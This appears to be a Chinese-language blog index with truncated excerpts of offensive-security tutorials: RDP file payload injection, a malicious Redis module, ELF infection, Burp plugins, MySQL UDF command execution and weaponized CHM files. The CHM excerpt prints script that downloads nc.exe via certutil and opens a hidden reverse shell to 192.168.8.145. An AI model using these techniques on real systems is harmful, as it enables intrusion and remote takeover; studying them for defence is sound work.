创建RDP有效负载

前言 随着网络钓鱼技术的不断发展,攻击手段也变得越来越复杂和隐蔽且攻击者已经熟练地利用 Windows 的标准功能来传递恶意负载。虽然这些方法看似巧妙,但实际上存在潜在的操作安全风险。这些技术可能会无意中暴露攻击者的行踪,使防御者能够发现并有效应对。 在现今环境中,尖端的预防技术已成为常态,成功传递恶意负载而不引起警报已成为一门真正的艺术。 而通过 Windows 内部服务配置文件及其注入内容的技术可以很适合的达到这一点。在本篇文章中,我们将以研究 RDP 连接文件为例。要注入RDP有效负载,关键在于如何确保 RDP 连接文件在嵌入内容后仍能正常工作。 文件结构 RDP 连接文件,通常以.rdp结尾,是一种配置文件,用于简化与 Windows 系统的远程桌面连接。这个文件包含多个参数,每个参数都对远程连接的设置和行为起到重要作用。 文件结构的细节可能因RDP客户端版本和配置有些差异,但通常存在以下组件。 screen mode id:i:2:屏幕模式 ID,2 表示全屏模式。 use multimon:i:0:是否使用多显示器,0 表示不使用。 desktopwidth:i:2560:远程桌面的宽度,单位为像素。 desktopheight:i:1440:远程桌面的高度,单位为像素。 session bpp:i:32:会话的颜色深度,32 表示 32 位色。 winposstr:s:0,3,0,0,800,600:窗口位置和大小参数。 compression:i:1:是否启用压缩,1 表示启用。 keyboardhook:i:2:键盘钩子模式,2 表示在远程会话中启用。 audiocapturemode:i:0:音频捕获模式,0 表示禁用。 videoplaybackmode:i:1:视频播放模式,1 表示启用。 connection type:i:7:连接类型,7 表示高质量宽带。 networkautodetect:i:1:是否自动检测网络,1 表示启用。 bandwidthautodetect:i:1:是否自动检测带宽,1 表示启用。 displayconnectionbar:i:1:是否显示连接栏,1 表示启用。 enableworkspacereconnect:i:0:是否启用工作区重新连接,0 表示禁用。 disable wallpaper:i:0:是否禁用壁纸,0…

Redis编写自定义模块

简介 Redis自定义模块允许用户扩展Redis的功能,添加新的命令和数据类型。这种灵活性使得Redis不仅仅是一个键值存储,还可以用于更复杂的应用场景。然而,这也带来了潜在的安全风险,攻击者可能利用这些自定义模块执行恶意命令。下面是关于Redis自定义模块执行命令的介绍和漏洞利用方法。 Redis自定义模块介绍 Redis自定义模块是从Redis 4.0版本开始引入的,允许开发者编写自己的模块并加载到Redis中。模块可以用C语言编写,并编译成动态库(.so文件),然后通过Redis命令加载。 创建模块文件:编写一个简单的C语言文件,例如malicious_module.c #include <stdio.h> #include <stdlib.h> #include <string.h> #include "redismodule.h" int MaliciousCommand(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) { RedisModule_ReplyWithSimpleString(ctx, "Malicious code executed!"); return REDISMODULE_OK; } int RedisModule_OnLoad(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) { if (RedisModule_Init(ctx, "malicious_module", 1, REDISMODULE_APIVER_1) == REDISMODULE_ERR) { return REDISMODULE_ERR; } if (RedisModule_CreateCommand(ctx, "malicious_command", MaliciousCommand, "write", 1, 1,…

ELF 二进制文件感染

简介 ELF(Executable and Linkable Format)是一种用于存储和描述可执行文件、共享库和对象文件的二进制文件格式。这种格式广泛应用于各种类 UNIX 和类 UNIX 操作系统,一般格式为可执行二进制文件、共享目标文件(.o)、共享库/共享对象(.so)、内核模块(.ko)和固件(.bin,包含嵌入在 ELF 中的程序或应用程序特定的代码和数据)。 ELF 格式的主要特点如下: 结构简单:ELF 格式的基本结构包括 ELF 头、程序头表、程序段表和数据段表等。这使得 ELF 格式的结构简单易懂,可以方便地处理和分析 可移性:ELF 格式支持跨平台和跨架构的可移性。这使得 ELF 格式可以在不同的操作系统和架构上运行,并且可以方便地进行链接和共享库 灵活性:ELF 格式提供了丰富的扩展机制,可以用于支持各种特定的功能和需求。这使得 ELF 格式可以满足各种应用程序和库的需求 可扩展性:ELF 格式支持动态链接和加载,可以用于加载和链接动态库。这使得 ELF 格式可以支持动态链接和加载,并且可以方便地进行动态库的更新和维护 ELF格式的主要组成部分包括以下几部分: ELF头:ELF头包含了整个ELF文件的基本信息,如文件类型、机器架构、操作系统ABI版本、程序入口点等 程序头表:程序头表包含了每个程序段的基本信息,如段名称、段类型、段大小、段地址等。程序头表可以包含任意数量的程序头,用于描述程序中的各种段 程序段表:程序段表包含了每个程序段的基本信息,如段名称、段类型、段大小、段地址等。程序段表可以包含任意数量的程序段,用于描述程序中的各种段 数据段表:数据段表包含了每个数据段的基本信息,如段名称、段类型、段大小、段地址等。数据段表可以包含任意数量的数据段,用于描述程序中的各种数据段 ELF格式的详细信息可以参考ELF文件格式规范,如《System V Application Binary Interface》和《UNIX System V Release 4》等。 在这篇文章中,我们将了解 ELF二进制文件感染。 ELF 二进制文件感染 将恶意代码插入到 ELF 二进制文件 中通常被称为 “ELF 二进制文件感染”。高质量的…

Burp Suite 插件开发(一)

Burp Suite 介绍 Burp Suite是一款用于攻击和测试Web应用程序的集成平台,它包含了多种工具,如代理、重发器、扫描器、爬虫、Intruder、Repeater等,可以协同工作,共享信息,支持各种攻击和检测方法。 Burp Suite的插件是一种扩展Burp Suite功能的方式,可以通过Burp Extender模块来安装和管理。插件可以由社区用户创建和维护,也可以由自己编写。插件可以修改HTTP请求和响应,发送额外的HTTP请求,自定义Burp Suite的界面和功能,添加额外的扫描检查,访问Burp Suite的信息等。 在本文中,我们将介绍 Burp Suite 插件,并使用 IDEA 工具编写简单的自定义插件。 配置环境 首先我们需要安装 IDE 工具,可以下载 IntelliJ IDEA、Atom、Netbeans、Eclipse 等。 Java 环境: Java 环境我们将在后续文章中以使用 IDEA 工具编写为例介绍。  Python 环境: Burp Suite 依赖 Jython 来支持 Python,需要下载 Jython 并配置 Burp Suite 位置。 在 Burp Suite 页面加载 Python 插件需要选择扩展类型为 Python 并指定 Python 插件文件。 API Extender…

手动编写 UDF 文件

MySQL UDF 简介 MySQL UDF (User Defined Function) 是一种可以扩展 MySQL 功能的机制,通过编写 C 或 C++ 代码,可以创建自定义的函数,甚至执行系统命令。 要利用 MySQL UDF 执行系统命令,需要满足以下三个条件: 拥有 MySQL 的 root 权限,可以创建和删除函数 拥有 MySQL 服务的文件权限,可以将 UDF 文件写到 MySQL 插件目录 UDF 文件是针对目标系统的平台和架构编译的,否则会出现错误 编写代码 在上文提到,利用 UDF 执行系统命令需要针对目标系统的平台和架构编译,比如目标 MySQL 服务器为 Windows 系统则需要 UDF 文件后缀为 .dll,Linux 系统则需要 UDF 文件后缀为 .so。 本次选择以 Kali Linux 系统为例,编译代码前首先需要安装开发库,Kali Linux 安装命令为: ┌──(root㉿kali)-[~] └─# apt…

编写恶意CHM

简介 Microsoft Compiled HTML Help,或者简称为CHM,是一种由微软开发的在线帮助文件格式,它由一组HTML页面、一个索引和其他导航工具组成。CHM文件是压缩的,并以二进制格式部署,扩展名为.chm,代表已编译的HTML。这种格式通常用于软件文档。 下面我们将介绍手动编写和使用PowerShell武器化CHM。 编写CHM 为了编写CHM,我们首先需要下载HTML Help Workshop。 安装运行后会显示空白界面。 我们需要新建一个项目,为此,点击左上方的空白文件按钮新建项目。 点击OK按钮并继续下一步后,我们会看到需要填写创建的文件名和路径,这里以桌面路径,文件命为nc.hhp为例。 点击下一步后会询问包含的文件,这里选择HTML files。 然后我们需要编写HTML文件,以nc.html为例: <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <title>Example</title> <script type="text/javascript"> function downloadAndRun() { var command = "certutil -urlcache -split -f http://192.168.8.145/nc.exe nc.exe && nc.exe -e cmd 192.168.8.145 4444"; var wsh = new ActiveXObject("WScript.Shell"); wsh.Run(command, 0, false); } </script> </head> <body…